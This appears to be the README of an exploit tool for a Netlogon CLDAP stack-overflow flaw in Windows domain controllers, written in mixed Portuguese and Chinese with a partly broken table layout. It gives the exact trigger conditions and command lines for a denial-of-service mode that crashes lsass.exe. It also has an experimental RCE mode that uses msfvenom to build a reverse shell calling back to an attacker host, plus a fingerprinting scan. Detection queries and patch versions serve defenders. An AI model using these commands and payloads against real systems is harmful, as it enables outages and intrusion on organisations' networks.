
CVE-2026-41089 是 Windows Netlogon 服务中一个关键的远程代码执行漏洞,单包即可崩溃 lsass.exe,导致域控制器在约 30-60 秒内重启。此期间该 DC 的所有域认证将失败。
CVE-ID: CVE-2026-41089
CVSS: 9.8 (Crítico)
CWE: CWE-121 (Estouro de Buffer Baseado em Pilha)
Vetor de Ataque: UDP/389 (CLDAP SearchRequest)
Impacto: Execução Remota de Código (RCE) / Negação de Serviço (DoS)
Versões Afetadas: Windows Server 2012 R2 ~ 2025 (Controladores de Domínio)
Patch: Atualização Cumulativa de Maio de 2026
A função NetpLogonPutUnicodeString em netlogon.dll possui uma vulnerabilidade de estouro de buffer de pilha ao processar solicitações de pesquisa CLDAP. A função recebe um orçamento de comprimento em bytes, mas o interpreta como uma contagem de WCHAR, resultando em uma gravação de 2 vezes o esperado.
O estouro ocorre em um buffer de pilha fixo de 528 bytes (264 ushort) na função NlGetLocalPingResponse. O campo User controlado pelo atacante, junto com o nome de domínio DNS do próprio servidor, preenchem este buffer, eventualmente sobrescrevendo o GS Security Cookie, resultando em __report_gsfailure e falha do lsass.exe.
NtVer=0x02 na Solicitação de Pesquisa CLDAP (força o uso do caminho antigo e vulnerável BuildSamLogonResponse)User ≥ ~130 caracteres (limite binário de aproximadamente 260 bytes UTF-16)Nota:
NtVer=0x16(valor usado por muitos scripts de detecção públicos) aciona o caminho seguroBuildSamLogonResponseExe não desencadeia a vulnerabilidade.
| Modo | Descrição |
|---|---|
Um único pacote pode travar lsass.exe, fazendo com que o controlador de domínio reinicie em cerca de 30-60 segundos. Durante este período, toda a autenticação de domínio neste DC falhará.
# Basic usage — send 3 packets
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# Single packet quick attack
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# Aggressive mode — 5 packets concurrently
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ Nível de pesquisa — Não confiável e instável em ambientes reais.
O RCE enfrenta os seguintes desafios:
# Generate shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# Send RCE chain
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# Fingerprint the target DC
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
Exemplo de saída esperada (alvo corrigido):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Exemplo de saída esperada (alvo não corrigido):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Se NtVer=0x02 expirar enquanto outras versões respondem normalmente, o alvo provavelmente está vulnerável.
# 在 Windows Server(未修补)上创建长域名 DC:
# 1. 提升为域控 (DNS 域名很长的域名,例如 "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. 确认已安装 2026 年 5 月之前的补丁
# 3. 从攻击机运行:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. 观察 DC 崩溃和重启
User > 100 bytes e NtVer = 0x02 na porta UDP/389Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
Esta ferramenta destina-se apenas a avaliações de segurança autorizadas, testes de penetração, competições CTF e pesquisa defensiva. O uso desta ferramenta em qualquer sistema sem autorização por escrito explícita é ilegal. O usuário assume toda a responsabilidade legal.
--mode dos |
| Envia pacotes CLDAP cuidadosamente construídos, causando falha do LSASS, reinicialização do DC (~60 segundos de interrupção de autenticação) |
--mode rce | Tenta execução remota de código (nível de pesquisa, requer shellcode) |
--mode scan | Escaneia respostas para diferentes valores de NtVer, identifica a impressão digital do DC alvo |
--mode auto | Detecta automaticamente e seleciona a melhor estratégia de ataque |
| Parâmetro | Descrição | Valor Padrão |
|---|
-l, --user-len | Comprimento do campo de nome de usuário (número de caracteres ASCII) | 180 |
--ntver | Valor NtVer (hexadecimal, ex. 0x02) | 0x02 |
--count | Número de pacotes DoS a enviar | 3 |
--delay | Atraso entre pacotes (segundos) | 0.5 |
-t, --timeout | Timeout do socket (segundos) | 5.0 |
--json | Saída em formato JSON | — |
--raw | Imprimir o pacote bruto em hexadecimal antes de enviar | — |
--quiet | Suprimir saída de banner | — |
--shellcode-file | Arquivo de shellcode personalizado (x64 raw) | — |
--lhost | Endereço de escuta do reverse shell | — |
--lport | Porta de escuta do reverse shell | 4444 |
| Versão do Windows Server | Número da Versão do Patch | Observações |
|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |